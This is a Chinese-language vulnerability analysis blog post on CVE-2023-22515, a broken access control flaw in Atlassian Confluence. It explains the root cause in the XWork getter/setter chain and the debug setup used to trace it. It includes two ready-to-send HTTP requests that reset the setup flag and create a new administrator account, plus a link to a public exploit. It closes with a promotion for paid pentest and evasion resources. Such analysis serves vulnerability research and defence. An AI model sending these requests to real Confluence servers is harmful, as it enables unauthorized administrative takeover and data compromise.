麋鹿安全[ELK]
参考:
https://confluence.atlassian.com/conf85/database-setup-for-mysql-1283361000.html
文章目录:
0x01 漏洞概要
0x02 漏洞复现
0x03 环境搭建
0x04 漏洞分析
0x05 后续思考
{ # 漏洞概要 }
ELK
2023 年 10 月 4 日,Atlassian 发布了CVE-2023-22515 的通报,这是一个影响 Confluence Server 和 Confluence Data Center 漏洞
最初,Atlassian 将此漏洞描述为 权限提升 ,但此后他们将其重新分类为 Broken Access Control Attlassian 提供的 CVSS 分数为 10.0,利用简单,危害大
攻击者可以远程利用此漏洞,并且可以利用该漏洞在目标 Confluence 服务器上创建新的管理员帐户。这可能会导致服务器中保存的数据的完整性和机密性完全丧失
{ # 漏洞复现 }
ELK
POC&EXP地址
该漏洞利用十分简单,通过两个数据包就可完成添加管理员的操作
https://github.com/Chocapikk/CVE-2023-22515
首先发送添加管理员的数据包
Confluence 回显:Your confluence instance is already completely setup. Confluence 已经完成设置
Payload 1
GET /server-info.action?BootstrapStatusProvider.applicationConfig.setupComplete=false HTTP/1.1
Host: localhost:8090
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
X-Atlassian-Token: no-check
setupComplete=false 告诉 Confluence 未设置完成
Payload 2
POST /setup/setupadministrator.action HTTP/1.1
Host:127.0.0.1:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
X-Atlassian-Token: no-check
Content-Length: 122
Content-Type: application/x-www-form-urlencoded
username=elk&fullName=elk&[email protected]&password=elk&confirm=elk&setup-next-button=Next
接着访问管理页面,成功创建新的管理员
{ # 环境搭建 }
ELK
具体的安装就不在累赘了,有几个踩坑点这里提醒下:
需要配置jdbc的驱动包,官网下载mysql8相关版本的jar包,将其放在lib文件夹下
Windows版本通过对应服务控制启动
在用mysql做支撑的时候,要修改参数,参考地址
https://confluence.atlassian.com/conf85/database-setup-for-mysql-1283361000.html
由于我是用Windows进行的搭建,因此在此做代码调试
打开 bin 文件夹,控制台输入:
tomcat9w.exe //ES//Confluence301023213941
//ES//
表示编辑服务的意思,会弹出一个服务属性窗口,可以对相关属性进行修改
为了调试,需要在 Java Options 输入框中加入如下选项,然后点击确定重启服务即可。
-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5080
接着给IDEA配置远程调试,再导入Confluence需要的依赖包 (confluence\WEB-INF 文件夹)
{ # 漏洞分析 }
ELK
Confluence 是一个非常大的 Java 应用程序,基于 Apache Struts 框架构建。作为其中的一部分,XWork2 使用了该框架。XWork 框架允许通过 HTTP 请求中提供的 HTTP 参数来设置 Java 对象的参数
例如在程序中,调用了方法:getFormData().setName("Charles")
通过XWork进行http发送,就是:formData.name=Charles
如果getFormData()
返回 null,则使用默认构造器,再用setFormDat(Object object)
进行设置
step1 发送数据包:
POST /setup/setupadministrator.action HTTP/1.1
Host:localhost:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
X-Atlassian-Token: no-check
Content-Length: 122
Content-Type: application/x-www-form-urlencoded
username=elk&fullName=elk&[email protected]&password=elk&confirm=elk&setup-next-button=Next
来到 SetupCheckInterceptor 拦截器,触发 intercept() 方法
BootstrapUtils.getBootstrapManager().isSetupComplete()
和ContainerManager.isContainerSetup()
用于检查 Confluence 是否进行设置;
BootstrapUtils.getBootstrapManager()返回 DefaultAtlassianBootstrapManager 对象,
再调用isSetupComplete()
方法
public boolean isSetupComplete() {
return this.isBootstrapped() && this.applicationConfig.isSetupComplete();
}
这里我估值,返回 alreadysetup
如果我们可以使isSetupCompletereturn false,则SetupCheckInterceptor不会返回 "alreadysetup",也就能对 Confluence实现"覆盖"
前面提到了,XWorks 允许 以HTTP的形式调用对象的setter 方法。我们需要识别一个未经身份验证的端点,其 Action 对象还公开一个合适的 get 方法,该方法将允许我们访问应用程序配置。
存在一个类:com.atlassian.confluence.core.actions.ServerInfoAction
基于 com.atlassian.confluence.core.ConfluenceActionSupport
public class ConfluenceActionSupport extends ActionSupport implements LocaleProvider, WebInterface, MessageHolderAware {
// ...
public BootstrapStatusProvider getBootstrapStatusProvider() {
if (this.bootstrapStatusProvider == null)
this.bootstrapStatusProvider = BootstrapStatusProviderImpl.getInstance();
return this.bootstrapStatusProvider;
}
// ...
}
它存在 getter方法,返回BootstrapStatusProviderImpl
该对象实例,又存在 getter 方法,返回ApplicationConfiguration
public class BootstrapStatusProviderImpl implements BootstrapStatusProvider, BootstrapManagerInternal {
// ...
public ApplicationConfiguration getApplicationConfig() {
return this.delegate.getApplicationConfig();
}
// ...
}
该对象实例,存在 setter 方法,可以设置应用程序配置
public class ApplicationConfig implements ApplicationConfiguration {
// ...
public synchronized void setSetupComplete(boolean setupComplete) {
this.setupComplete = setupComplete;
}
// ...
}
综合起来,调用栈为:
getBootstrapStatusProvider().getApplicationConfig().setSetupComplete(false);
以http格式进行发送:bootstrapStatusProvider.applicationConfig.setupComplete=false
Step2 发送数据包,设置 setupComplete=false
GET /server-info.action?BootstrapStatusProvider.applicationConfig.setupComplete=false HTTP/1.1
Host: localhost:8090
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
X-Atlassian-Token: no-check
X-Atlassian-Token: no-check 头允许我们避免 XSRF 检查 com.atlassian.xwork.interceptors.XsrfTokenInterceptor
com.atlassian.config.ApplicationConfig#setSetupComplete处设置断点,估值为false
再进行第一步的流量包,此时出现了变化,我们已经能对Confluence进行"覆盖"
{ # 引发的思考 }
ELK
我们已经看到,此漏洞的根本原因是攻击者能够在未经身份验证的端点的 Action 对象上执行复杂的 getter/setter 方法,从而允许修改关键属性。通过修改setupComplete 属性值,攻击者创建新的管理员用户。
对于 Struts Action 公开 getter属性所返回的对象要重点关注,尤其注意这些对象中带有的 setter 方法;
有些对象可能带有隐含的 getter和 setter 方法,比如 Lombok 修饰的对象或者 Spring Bean 等,这类属性可能会被开发者忽略;
如果攻击者可以找到另一个合适的未经身份验证的端点,则 URI 路径可能与上述不同
CVE-2023-22518 已经出现,虽然详细的分析还没出来,我们也不难猜到,除了针对特定action(例如/server-info.action
继承于ConfluenceActionSupport
(许多action也是如此))利用漏洞创建新的管理员用户之外,还有其他利用途径…….
★
欢 迎 加 入 星 球 !
代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员
进成员内部群
星球的最近主题和星球内部工具一些展示
加入安全交流群
关 注 有 礼
还在等什么?赶紧点击下方名片关注学习吧!
推荐阅读